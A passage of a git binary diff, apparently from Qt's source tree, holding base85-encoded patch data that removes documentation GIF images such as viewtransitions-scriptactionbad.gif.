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 diff --git a/src/qml/doc/images/viewtransitions-scriptactionbad.gif b/src/qml/doc/images/viewtransitions-scriptactionbad.gif deleted file mode 100644 index 9e618d911cd3b5427b29b68ee1a9dbce38f1ab9f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 49200 zcmeFZcQl;+*Z+HIW0)}*V|3At-aE-)FiJ!(A&K5Q5u}aYdlwSDm(fWOy%U{i5kZh9 zUE1wj?)&?F&hwnLerG-BIlp!OI@em5<)87{dw;gqdzaDC)mBupF9vu>zB2)=2rA;> z7;$L1GRY>qd%Gq-w2oL?k>-1Lc1Fb_O%GSk^Oi0Oxfo$3=+n5BeOn=}BvXh-YjwwwT)XF%FdiC!u0S%q~)JPd(PwCkgAZu{jLVzjBQwh(+0%Lb+9Ns=V z16Z8&Hh}G;;y{BH(Hf z;E@f4WC0$XKxRCUSO5@nfWls&tqoX92DZ|G<2oRF9jIIdx(|S<0rt|x4>WTfDd1Qy*~g!43Ni1zWWP^Y8YZg1B^O(6+P?J%-0wH0Drv#7--p^ zo9nEeHm%h#= zZ7Qp51rZLhw!IeSuA}J?aMj5_)=@UeOS$--R$+u;QIuI$qHkk)FqKpUQYRm+lgD9H zAapsA+bl=^S{|=;m5_4_pG%jZN4JL4BQKvk?VCi=fB`#ax6s&pemEtwVsKziv!{1% zSX@D@58f)R-7>XZUKMvIq0H^J4FW-bC!s|*V_7|N*oU~4ocEAech^mkQ9pc`*pfjf z;g%I@ZYzr5K7$!*nVD*;8)-?4OOla*p)3l10q55v7W@eYECnS7JQjqU6T)x-JPni_ z3dS-Ok`ufi;2#c#GZ?}!<|{CEXE5Z!bAv$*+5miiTBIzkdKUOr;B^6S5|Wk;yglGS z85kH*Xm&IuBWNe^&`h+{;89owRM}`@?AKd3*v&yRaF|zcUTfqM!Gcx$roIs!V=u6!MI3+OSoghJ4nUN|n$)jpP3FyDZF z^R?3Ow-5*Yd`p)Nj4#mhU?_nOzg@q6yK5VCHR$9!iLqds0ps!B4J|_52$;sebQS5O z8*R=Bh8q|famo2{EhF)b17MCxtX=>E5X>>jIYnSlfC&uDQknH5nQa?jdIN(349Tpj zuB_hetfB4f))g>&i>Fuqp&#CQw z4(8puj-mQO--hZ)@J=*#4>S&KH?fj zIN0@13MUTFfXNul+~)!OzvF?P0nez|@x_uMpo{I+DmNPwyIg10>ajK1Ubj*NOviKRcho;`bz7{xHq{|^6|mcyEYk06yw;^W zw7xaf`N6hF>FZApgFH#Q!U&kibca1okHKSS%Yul|Juyma}l}I{dDme;%8pay!o5WK)<)w-_13BH^wk=lod-J+F4e6Xr z^yLll18`1Zd{sCs-5>)%S#!;YROtlfe_8D3H4>kh|mHHKnDS0AfizkDY zw>}XBm$McC(T?mud#PnNjAmf;H73*G+u;}(*+F+HfW&h)^W5a_b4yA37O!QfY$)KPQfFAD~L3J+)o=RRq9css_^YM;EGpTJ(Y~TQ}D5hId0sJ5QEto_8;IX ze%tJH)18Ns-}*(?JekxTJN#=0o4zIIYn#>FF-otD9LP`yZm)D`M2twLB(Lmwx# z9B^5V)-o{=mGZL)>vHkS$Ily*pU1yxygk33(a;0&%xMxO5qaBuK=&l0c^pz#uQx6K zZfwZ!dK0{8j1MJ(J*>VfnV>&HE=OdN;)%kJZ{ByT5!> z^zG|e*GKmK{<;4F4^U38_VX}$om~4RzUgg;fF=6jsdJrKJrdJ3;exch-%7mNXtZbf zc*y5)W2tv-*~!L}M;xtFQy8a2>q#cD5Q{Tld#3XDe!^9r{q@Ce zMC9!Em)q@s{kp%E`qbtiFzVu8e>TR?wwbWW@U*)W)8izIx!5Gpv^z9C<76yDs*~NR zl2z7lxr+l(8$z;-gN%;%@6sgNdM+sW9PRO-wqhW2mGhVi>~lW}4Q)mwT?qr{;(>fr z(cLlES3=K1&lXxAe(MpuC;^KmF>BVKL%zR6l5sU0k;UaCTCGmeA1=@}TIOvKu6ddL zvQr0%^!221CIM+&f}IqHPO$+PIpt<;ACvFBDNw4PkLEP0 zj@VzkVT0x4`J8k_+vn~mNBy;2F@_f*M0DH?4yl^5=L)?0)3kUEU*vH(?|mRy0o0$w zDDPxKg<4vH&N&$M?t_tH@z#2#Vw6V-|+pjh}k=p z{b@p%KTfn1+>9^Q5*SzWwupML`dL7$Ur5d0FsksGOcid9Me3$@R1qRj5O=KeENmsS zV9o4>+~@qWy1SoR#XjAEsxqOCV&O}66yD?NWI0ALqD$g&g_W0%MyB^Jw}~^^z@;Py z;#Rx@{8Y;?<1!ZuJvVnKFlH~MB=nfLlgFKBq&N-4TzdRbJmjdW?y{7vMa&_Ts+Sl_ z=Mt=BrP&);U-b{AypQ9^RyW3)s-#h&qS{4${52+zDA@Ao>QXDk%d_^PpRbIU>JA#G z^%94egy&+?JAA8J$)Cf%hm`Y)O(bXG_^q`&aFu`Iy#i+#xTc5stP9O!8kzea1W_*- z&O!nUek}?re;*t5-u1tx58==rNWd)3H`yjkD_FQrT{hQbYq24Dhj*^!la$JHw1zOK z5&-_Q{+9gYuSqr)%X87HvNw9o$9<0&H>2Q8*G9C){im`wBSo2PXXM5MpE7Pm806Y4 z^N-(b%H9h1%I!S;?b@>I`s`Cd?zNYHTyIf)+6t=3ee_06=XN^diytd*dVkb6h0w;_ z@H)MMWUcs#lUhG#5 zlY>Cn=~HB@&0@RxlhOu<#~f9G}43Z59`z@GC}4{lam zdd6s5ts!RhTclaN;|lLi;cL+c&bgtn?Xam*195z%;G2J9}n3A+{j{z zx?XsF>nu2Hki90|aKx$8z3BN;wz~P2yL&>|(w4|qnJdX2of0 zKBoQRjfOWLl|z=g-?v*uh!%j|Zz`tmP-6xOQFcdy# zBNKpQY@<<}*kcKp<4H;mbC+S+}@q|@$UQD3{l zSFRgq$3`MrP1gD2^*iZ{g!oS8H%Z?Pv@bSID0p8SrW{s1fai9n2aP<)m<^g#w5UeH z&bq{8FLA667AcWMUSrQ>Wy0s>JL(B%$hW=yJu!~hWr$GDwD){3r+v7Kk{KTu)b0JC z)!4{hu$v{W&M&;t-Z6h|Lz_t%8zE*Ew11oe=gHmn*Mr@*>V(*>Q*{NCcNB&D#@cNT zRlT)XC zs{~4wnMj*PpyH}Fe5}^z^SC!lVvS3q*tF)eN6mEXPCO(oS`SCcOn-5bML96|Qdn#5 zJ?NP|LBI}9qnd{`fa#GZcVjB_aCUGWEP&>Gl+*LsrqP~NI>Dv9gUS}2Ezbj-G1p4L z;L{~v*O4}9iDs)kp&H)23!eODX31-qhS2n?EZb*E;dxb`CLdxEVao!(5f`qw82?x` zc}TAJfGnsShl%Cav7aN&x1*wux%W!LtvyJ;yG`G`(`~$2WpWp^~Y^5 zL$6)IUo(!o)`_-@GDbYhiJrFz&Sx@Nw)4ItMI(b{G+n-Z&B`S!NL5uEF*X-7LnO~| zi4m%{e>X~oC6{%`;FRII`^Ck<#Tbzakjcl~7t53Bf9-2Z?#Ho1I_YX|dlZPC^dl`5 zjJ>?95#xwhw{%J|qREN2CS*c1v3HkO{Yn)1#*LkMJ4r&?T?8y?8Ud2r=!k5ng`ord zkB*hEMxgZp+j1I>@d;U}VuDr|I%FZRRRW00_Auo~Mamcc)bA9je=$aB=B0ij zWBk3A`qybHz>-F)ltyly1_@1r=BH72r@^16A%3LMv7{rF(oxpw=+JcL{B+jtboS@z zoIldJSTcB&GWe`B1VS^e(9;3jKgcQ0nfY(^M*@ICkdzch^8f$(e`%AifG8)x4mbmc zz`0N+htfj?gD7Ewlnm@p0Z(cs(SMXNwYV>g-3Bbmz__l%S#;qtW^m=(G;kyhqa=+= zG6G70U^hc>Nzm3R>lURga}6&HTA2EVkT03%F*M?jE| zO;GD5SUJK#nS?wVgsCV*+#iXdS;e$0#f%dqk;0%vmI@h_rXiP6){wc~EGxmKAbCN- z_%0}p6)&nO>INx=w<aMh7^4R7+yB6_JXdfhYg 